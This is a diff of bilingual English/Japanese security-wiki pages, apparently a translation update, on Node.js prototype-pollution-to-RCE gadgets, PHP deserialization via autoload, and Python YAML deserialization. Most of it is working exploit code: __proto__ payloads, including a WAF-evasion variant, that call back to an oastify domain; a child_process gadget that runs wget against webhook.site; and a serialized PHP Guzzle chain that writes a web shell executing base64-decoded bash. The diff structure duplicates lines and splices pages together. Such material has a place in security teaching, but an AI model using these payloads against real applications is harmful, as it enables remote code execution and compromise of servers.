Using the following payloads it's possible to abuse the NODE_OPTIONS env var we have discussed previously and detect if it worked with a DNS interaction:
以下のペイロードを使用することで、以前に説明したNODE_OPTIONS環境変数を悪用し、DNSインタラクションで機能したかどうかを検出することが可能です
```json
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id.oastify.com"
}
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id.oastify.com"
}
}
```
Or, to avoid WAFs asking for the domain:
または、WAFがドメインを要求するのを避けるために
```json
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id\"\".oastify\"\".com"
}
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id\"\".oastify\"\".com"
}
}
```
## PP2RCE 脆弱性 child_process 関数
## PP2RCE vuln child_process functions
In this section where are going to analyse **each function from `child_process`** to execute code and see if we can use any technique to force that function to execute code:
このセクションでは、**`child_process` の各関数を分析**してコードを実行し、その関数を強制的にコードを実行させる技術を使用できるかどうかを確認します:
<details>
<summary><code>exec</code> exploitation</summary>
<summary><code>exec</code> の悪用</summary>
```javascript
// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
@ -204,7 +189,7 @@ const { exec } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
"console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec("something")
@ -218,13 +203,11 @@ p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec("something")
```
</details>
<details>
<summary><strong><code>execFile</code> exploitation</strong></summary>
<summary><strong><code>execFile</code> の悪用</strong></summary>
```javascript
// environ trick - not working
// It's not possible to pollute the .en attr to create a first env var
@ -235,7 +218,7 @@ const { execFile } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//"
"console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFile("/usr/bin/node")
@ -244,25 +227,23 @@ var proc = execFile("/usr/bin/node")
// Windows - not working
```
**`execFile`**が機能するためには、**NODE_OPTIONS**が機能するように**node**を**実行する必要があります**。\
もし**node**を実行していない場合は、実行しているものの**実行を変更する方法**を見つけ、環境変数を設定する必要があります。
For **`execFile`** to work it **MUST execute node** for the NODE_OPTIONS to work.\
If it's **not** executing **node**, you need to find how you could **alter the execution** of whatever it's executing **with environment variables** and set them.
The **other** techniques **work** without this requirement because it's **possible to modify** **what is executed** via prototype pollution. (In this case, even if you can pollute `.shell`, you won't pollute that is being executed).
**他の**技術はこの要件なしで**機能します**。なぜなら、プロトタイプ汚染を通じて**実行されるものを変更することが可能だからです**。(この場合、たとえ`.shell`を汚染できても、実行されているものは汚染できません)。
</details>
<details>
<summary><code>fork</code> exploitation</summary>
<summary><code>fork</code>の悪用</summary>
```javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//",
EVIL: "console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork("something")
@ -272,7 +253,7 @@ var proc = fork("something")
const { fork } = require("child_process")
p = {}
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
"console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork("something")
@ -296,13 +277,11 @@ b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork("./a_file.js")
```
</details>
<details>
<summary><strong><code>spawn</code> exploitation</strong></summary>
<summary><strong><code>spawn</code> の悪用</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
@ -312,7 +291,7 @@ p = {}
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//",
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn("something")
@ -324,7 +303,7 @@ const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
"console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
@ -340,13 +319,11 @@ p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
```
</details>
<details>
<summary><strong><code>execFileSync</code> exploitation</strong></summary>
<summary><strong><code>execFileSync</code> の悪用</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
@ -356,7 +333,7 @@ p = {}
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//",
EVIL: "console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync("something")
@ -367,7 +344,7 @@ const { execFileSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
"console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFileSync("something")
@ -388,13 +365,11 @@ p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync("something")
```
</details>
<details>
<summary><strong><code>execSync</code> exploitation</strong></summary>
<summary><strong><code>execSync</code> の悪用</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
@ -404,7 +379,7 @@ p = {}
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//",
EVIL: "console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execSync("something")
@ -415,7 +390,7 @@ const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
"console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execSync("something")
@ -435,13 +410,11 @@ p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync("something")
```
</details>
<details>
<summary><strong><code>spawnSync</code> exploitation</strong></summary>
<summary><strong><code>spawnSync</code> の悪用</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
@ -451,7 +424,7 @@ p = {}
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//",
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawnSync("something")
@ -463,7 +436,7 @@ const { spawnSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"
"console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
@ -486,34 +459,31 @@ p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
```
</details>
## Forcing Spawn
## スポーンの強制
In the previous examples you saw how to trigger the gadget a functionality that **calls `spawn`** needs to be **present** (all methods of **`child_process`** used to execute something calls it). In the previous example that was **part of the the code**, but what if the code **isn't** calling it.
前の例では、ガジェットをトリガーする方法を見ましたが、**`spawn`** を呼び出す機能が **存在する** 必要があります(何かを実行するために使用される **`child_process`** のすべてのメソッドがそれを呼び出します)。前の例ではそれが **コードの一部** でしたが、コードが **呼び出していない** 場合はどうでしょうか。
### Controlling a require file path
### requireファイルパスの制御
In this [**other writeup**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) the user can control the file path were a **`require`** will be executed. In that scenario the attacker just needs to **find a `.js` file inside the system** that will **execute a spawn method when imported.**\
Some examples of common files calling a spawn function when imported are:
この [**別の書き込み**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) では、ユーザーが **`require`** が実行されるファイルパスを制御できます。そのシナリオでは、攻撃者は **インポートされたときにスポーンメソッドを実行する `.js` ファイルをシステム内で見つける** 必要があります。\
インポートされたときにスポーン関数を呼び出す一般的なファイルの例は次のとおりです:
- /path/to/npm/scripts/changelog.js
- /opt/yarn-v1.22.19/preinstall.js
- Find **more files below**
The following simple script will search for **calls** from **child_process** **without any padding** (to avoid showing calls inside functions):
- **以下にさらにファイルを見つける**
次のシンプルなスクリプトは、**関数内の呼び出しを表示しない**(パディングなしで) **child_process** からの **呼び出し** を検索します:
```bash
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
```
<details>
<summary>Interesting files found by previous script</summary>
<summary>以前のスクリプトによって見つかった興味深いファイル</summary>
- node_modules/buffer/bin/**download-node-tests.js**:17:`cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })`
- node_modules/buffer/bin/**test.js**:10:`var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })`
@ -527,27 +497,26 @@ done
</details>
### Setting require file path via prototype pollution
### プロトタイプ汚染によるrequireファイルパスの設定
> [!WARNING]
> The **previous technique requires** that the **user controls the path of the file** that is going to be **required**. But this is not always true.
> **前の技術は**、**ユーザーがファイルのパスを制御する必要がある**ことを要求します。 しかし、これは常に真ではありません。
However, if the code is going to execute a require after the prototype pollution, even if you **don't control the path** that is going to be require, you **can force a different one abusing propotype pollution**. So even if the code line is like `require("./a_file.js")` or `require("bytes")` it will **require the package you polluted**.
ただし、プロトタイプ汚染の後にrequireを実行するコードがある場合、たとえ**パスを制御できなくても**、**プロトタイプ汚染を悪用して異なるパスを強制することができます**。 したがって、コード行が`require("./a_file.js")``require("bytes")`のようであっても、汚染したパッケージを**require**します。
Therefore, if a require is executed after your prototype pollution and no spawn function, this is the attack:
したがって、プロトタイプ汚染の後にrequireが実行され、spawn関数がない場合、これが攻撃です
- Find a **`.js` file inside the system** that when **required** will **execute something using `child_process`**
- If you can upload files to the platform you are attacking you might upload a file like that
- Pollute the paths to **force the require load of the `.js` file** that will execute something with child_process
- **Pollute the environ/cmdline** to execute arbitrary code when a child_process execution function is called (see the initial techniques)
- **システム内の`.js`ファイルを見つける** それが**require**されると、`child_process`を使用して**何かを実行します**
- 攻撃しているプラットフォームにファイルをアップロードできる場合、そのようなファイルをアップロードすることができます
- **パスを汚染して、`.js`ファイルのrequireロードを強制する**
- **環境/コマンドラインを汚染して、child_process実行関数が呼び出されたときに任意のコードを実行する**(最初の技術を参照)
#### Absolute require
#### 絶対require
If the performed require is **absolute** (`require("bytes")`) and the **package doesn't contain main** in the `package.json` file, you can **pollute the `main` attribute** and make the **require execute a different file**.
実行されるrequireが**絶対的**`require("bytes")`)で、**パッケージが`package.json`ファイルにmainを含まない場合**、**`main`属性を汚染して、**requireが異なるファイルを実行するようにすることができます。
{{#tabs}}
{{#tab name="exploit"}}
```javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
@ -566,7 +535,7 @@ var proc = require("bytes")
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_absolute\\").toString())//"}}'
'{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_absolute\\").toString())//"}}'
)
clone(USERINPUT)
@ -574,27 +543,23 @@ clone(USERINPUT)
var proc = require("bytes")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
```
{{#endtab}}
{{#tab name="malicious.js"}}
```javascript
const { fork } = require("child_process")
console.log("Hellooo from malicious")
fork("anything")
```
{{#endtab}}
{{#endtabs}}
#### Relative require - 1
#### 相対require - 1
If a **relative path** is loaded instead of an absolute path, you can make node **load a different path**:
**相対パス**が絶対パスの代わりに読み込まれる場合、nodeに**異なるパスを読み込ませる**ことができます:
{{#tabs}}
{{#tab name="exploit"}}
```javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
@ -611,7 +576,7 @@ var proc = require("./relative_path.js")
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_1\\").toString())//"}}'
'{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_1\\").toString())//"}}'
)
clone(USERINPUT)
@ -619,25 +584,21 @@ clone(USERINPUT)
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
```
{{#endtab}}
{{#tab name="malicious.js"}}
```javascript
const { fork } = require("child_process")
console.log("Hellooo from malicious")
fork("/path/to/anything")
```
{{#endtab}}
{{#endtabs}}
#### Relative require - 2
#### 相対的なrequire - 2
{{#tabs}}
{{#tab name="exploit"}}
```javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
@ -656,7 +617,7 @@ var proc = require("./relative_path.js")
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_path\\").toString())//"}}'
'{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_path\\").toString())//"}}'
)
clone(USERINPUT)
@ -664,57 +625,52 @@ clone(USERINPUT)
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
```
{{#endtab}}
{{#tab name="malicious.js"}}
```javascript
const { fork } = require("child_process")
console.log("Hellooo from malicious")
fork("/path/to/anything")
```
{{#endtab}}
{{#endtabs}}
#### Relative require - 3
Similar to the previous one, this was found in [**this writeup**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs).
#### 相対的なrequire - 3
前のものと似ており、[**この解説**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs)で見つかりました。
```javascript
// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js",
},
name: "./usage",
exports: {
".": "./preinstall.js",
},
name: "./usage",
}
Object.prototype["path"] = "/opt/yarn-v1.22.19"
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
NODE_DEBUG:
"console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
NODE_OPTIONS: "--require=/proc/self/environ",
NODE_DEBUG:
"console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
NODE_OPTIONS: "--require=/proc/self/environ",
}
require("./usage.js")
```
## VM Gadgets
In the paper [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) is also indicated that the control of **`contextExtensions`** from some methods of the **`vm`** library could be used as a gadget.\
However, as the previous **`child_process`** methods, it has been **fixed** in the latest versions.
論文[https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf)では、**`vm`**ライブラリのいくつかのメソッドからの**`contextExtensions`**の制御がガジェットとして使用できることが示されています。\
しかし、前述の**`child_process`**メソッドと同様に、最新バージョンでは**修正**されています。
## Fixes & Unexpected protections
Please, note that prototype pollution works if the **attribute** of an object that is being accessed is **undefined**. If in the **code** that **attribute** is **set** a **value** you **won't be able to overwrite it**.
プロトタイプ汚染は、アクセスされているオブジェクトの**属性**が**未定義**である場合に機能することに注意してください。**コード**内でその**属性**に**値**が**設定**されている場合、**上書きすることはできません**。
In Jun 2022 from [**this commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) the var `options` instead of a `{}` is a **`kEmptyObject`**. Which **prevents a prototype pollution** from affecting the **attributes** of **`options`** to obtain RCE.\
At least from v18.4.0 this protection has been **implemented,** and therefore the `spawn` and `spawnSync` **exploits** affecting the methods **no longer work** (if no `options` are used!).
2022年6月、[**このコミット**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a)から、変数`options``{}`の代わりに**`kEmptyObject`**です。これにより、プロトタイプ汚染が**`options`**の**属性**に影響を与えてRCEを取得することを**防ぎます**。\
少なくともv18.4.0からこの保護が**実装されており、**そのため`spawn`および`spawnSync`の**エクスプロイト**はメソッドに影響を与えなくなりました(`options`が使用されていない場合!)。
In [**this commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) the **prototype pollution** of **`contextExtensions`** from the vm library was **also kind of fixed** setting options to **`kEmptyObject`** instead of **`{}`.**
[**このコミット**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9)では、vmライブラリの**`contextExtensions`**の**プロトタイプ汚染**が、**`{}`**の代わりに**`kEmptyObject`**に設定されることで**ある程度修正**されました。
### **Other Gadgets**

View File

@ -1,71 +1,64 @@
# PHP - Deserialization + Autoload Classes
# PHP - デシリアライズ + オートロードクラス
{{#include ../../banners/hacktricks-training.md}}
First, you should check what are [**Autoloading Classes**](https://www.php.net/manual/en/language.oop5.autoload.php).
まず、[**オートロードクラス**](https://www.php.net/manual/en/language.oop5.autoload.php)が何であるかを確認する必要があります。
## PHP deserialization + spl_autoload_register + LFI/Gadget
## PHP デシリアライズ + spl_autoload_register + LFI/Gadget
We are in a situation where we found a **PHP deserialization in a webapp** with **no** library vulnerable to gadgets inside **`phpggc`**. However, in the same container there was a **different composer webapp with vulnerable libraries**. Therefore, the goal was to **load the composer loader of the other webapp** and abuse it to **load a gadget that will exploit that library with a gadget** from the webapp vulnerable to deserialization.
私たちは、**`phpggc`**内に脆弱なガジェットを持たない**ウェブアプリでのPHPデシリアライズ**を見つけた状況にいます。しかし、同じコンテナ内には**脆弱なライブラリを持つ別のコンポーザーウェブアプリ**がありました。したがって、目標は**別のウェブアプリのコンポーザーローダーをロードし**、それを悪用して**デシリアライズに脆弱なウェブアプリのライブラリをガジェットで攻撃すること**でした。
Steps:
- You have found a **deserialization** and there **isnt any gadget** in the current app code
- You can abuse a **`spl_autoload_register`** function like the following to **load any local file with `.php` extension**
- For that you use a deserialization where the name of the class is going to be inside **`$name`**. You **cannot use "/" or "."** in a class name in a serialized object, but the **code** is **replacing** the **underscores** ("\_") **for slashes** ("/"). So a class name such as `tmp_passwd` will be transformed into `/tmp/passwd.php` and the code will try to load it.\
A **gadget example** will be: **`O:10:"tmp_passwd":0:{}`**
手順:
- **デシリアライズ**を見つけ、現在のアプリコードには**ガジェットが存在しない**
- 次のような**`spl_autoload_register`**関数を悪用して、**`.php`拡張子のローカルファイルをロードする**
- そのために、クラス名が**`$name`**内に入るデシリアライズを使用します。シリアライズされたオブジェクトのクラス名には**"/"や"."**を使用できませんが、**コード**は**アンダースコア**("\_")を**スラッシュ**("/")に**置き換えています**。したがって、`tmp_passwd`のようなクラス名は`/tmp/passwd.php`に変換され、コードはそれをロードしようとします。\
**ガジェットの例**は次のようになります:**`O:10:"tmp_passwd":0:{}`**
```php
spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
$filename = "/${name}.php";
$filename = "/${name}.php";
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});
```
> [!TIP]
> If you have a **file upload** and can upload a file with **`.php` extension** you could **abuse this functionality directly** and get already RCE.
> **ファイルアップロード**があり、**`.php`拡張子**のファイルをアップロードできる場合は、この機能を**直接悪用**して、すでにRCEを取得できます。
In my case, I didnt have anything like that, but there was inside the **same container** another composer web page with a **library vulnerable to a `phpggc` gadget**.
- To load this other library, first you need to **load the composer loader of that other web app** (because the one of the current application wont access the libraries of the other one.) **Knowing the path of the application**, you can achieve this very easily with: **`O:28:"www_frontend_vendor_autoload":0:{}`** (In my case, the composer loader was in `/www/frontend/vendor/autoload.php`)
- Now, you can **load** the others **app composer loader**, so its time to **`generate the phpgcc`** **payload** to use. In my case, I used **`Guzzle/FW1`**, which allowed me to **write any file inside the filesystem**.
- NOTE: The **generated gadget was not working**, in order for it to work I **modified** that payload **`chain.php`** of phpggc and set **all the attribute**s of the classes **from private to public**. If not, after deserializing the string, the attributes of the created objects didnt have any values.
- Now we have the way to **load the others app composer loader** and have a **phpggc payload that works**, but we need to **do this in the SAME REQUEST for the loader to be loaded when the gadget is used**. For that, I sent a serialized array with both objects like:
- You can see **first the loader being loaded and then the payload**
私の場合、そのようなものはありませんでしたが、**同じコンテナ**内に**`phpggc`ガジェットに脆弱なライブラリ**を持つ別のComposerウェブページがありました。
- この別のライブラリを読み込むには、まず**その別のウェブアプリのComposerローダーを読み込む必要があります**(現在のアプリケーションのものでは他のライブラリにアクセスできません)。**アプリケーションのパスを知っていれば**、次のように非常に簡単に実現できます:**`O:28:"www_frontend_vendor_autoload":0:{}`**私の場合、Composerローダーは`/www/frontend/vendor/autoload.php`にありました)
- さて、他の**アプリのComposerローダーを読み込む**ことができるので、**使用するための`phpgcc`** **ペイロードを生成する**時です。私の場合、**`Guzzle/FW1`**を使用し、これにより**ファイルシステム内の任意のファイルを書き込む**ことができました。
- 注:**生成されたガジェットは機能しませんでした**。機能させるために、**`chain.php`**のphpggcペイロードを**修正**し、クラスの**すべての属性**を**privateからpublicに**設定しました。そうしないと、文字列をデシリアライズした後、作成されたオブジェクトの属性には値がありませんでした。
- これで、**他のアプリのComposerローダーを読み込む方法**があり、**機能するphpggcペイロード**も手に入れましたが、**ガジェットが使用されるときにローダーが読み込まれるためには、同じリクエストでこれを行う必要があります**。そのため、次のように両方のオブジェクトを含むシリアライズされた配列を送信しました:
- **最初にローダーが読み込まれ、その後にペイロードが表示される**のがわかります。
```php
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
```
- Now, we can **create and write a file**, however, the user **couldnt write in any folder inside the web server**. So, as you can see in the payload, PHP calling **`system`** with some **base64** is created in **`/tmp/a.php`**. Then, we can **reuse the first type of payload** that we used to as LFI to load the composer loader of the other webapp t**o load the generated `/tmp/a.php`** file. Just add it to the deserialization gadget:&#x20;
- さて、**ファイルを作成して書き込む**ことはできますが、ユーザーは**ウェブサーバー内の任意のフォルダーに書き込むことができません**。したがって、ペイロードに見られるように、PHPが**`system`**を呼び出し、いくつかの**base64**が**`/tmp/a.php`**に作成されます。次に、**最初のタイプのペイロードを再利用**して、他のウェブアプリのコンポーザーローダーを読み込むために、生成された**`/tmp/a.php`**ファイルを読み込みます。それをデシリアライズガジェットに追加するだけです:&#x20;
```php
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
```
**ペイロードの概要**
**Summary of the payload**
- **同じコンテナ内の別のウェブアプリのcomposerオートロードを読み込む**
- **phpggcガジェットを読み込む** ことで、他のウェブアプリのライブラリを悪用する(最初のウェブアプリはデシリアライズに脆弱で、ライブラリにガジェットがなかった)
- ガジェットは、/tmp/a.phpに悪意のあるコマンドを含む**PHPペイロードのファイルを作成する**
- ペイロードの最終部分は、**生成されたPHPファイルを読み込む**ことでコマンドを実行する
- **Load the composer autoload** of a different webapp in the same container
- **Load a phpggc gadget** to abuse a library from the other webapp (the initial webapp vulnerable to deserialization didnt have any gadget on its libraries)
- The gadget will **create a file with a PHP payload** on it in /tmp/a.php with malicious commands (the webapp user cannot write in any folder of any webapp)
- The final part of our payload will use **load the generated php file** that will execute commands
I needed to **call this deserialization twice**. In my testing, the first time the `/tmp/a.php` file was created but not loaded, and the second time it was correctly loaded.
私はこのデシリアライズを**2回呼び出す必要があった**。私のテストでは、最初の時に`/tmp/a.php`ファイルが作成されたが読み込まれず、2回目には正しく読み込まれた。
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,8 +4,7 @@
## Yaml **Deserialization**
**Yaml** python libraries is also capable to **serialize python objects** and not just raw data:
**Yaml**のpythonライブラリは、生データだけでなく**pythonオブジェクトをシリアライズ**することも可能です:
```
print(yaml.dump(str("lol")))
lol
@ -23,13 +22,11 @@ print(yaml.dump(range(1,10)))
- 10
- 1
```
Check how the **tuple** isnt a raw type of data and therefore it was **serialized**. And the same happened with the **range** (taken from the builtins).
**タプル**が生のデータ型ではなく、そのため**シリアライズ**されたことを確認してください。そして、**range**(ビルトインから取得)でも同じことが起こりました。
![](<../../images/image (1040).png>)
**safe_load()** or **safe_load_all()** uses SafeLoader and **dont support class object deserialization**. Class object deserialization example:
**safe_load()**または**safe_load_all()**はSafeLoaderを使用し、**クラスオブジェクトのデシリアライズをサポートしていません**。クラスオブジェクトのデシリアライズの例:
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
@ -48,13 +45,11 @@ print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object
```
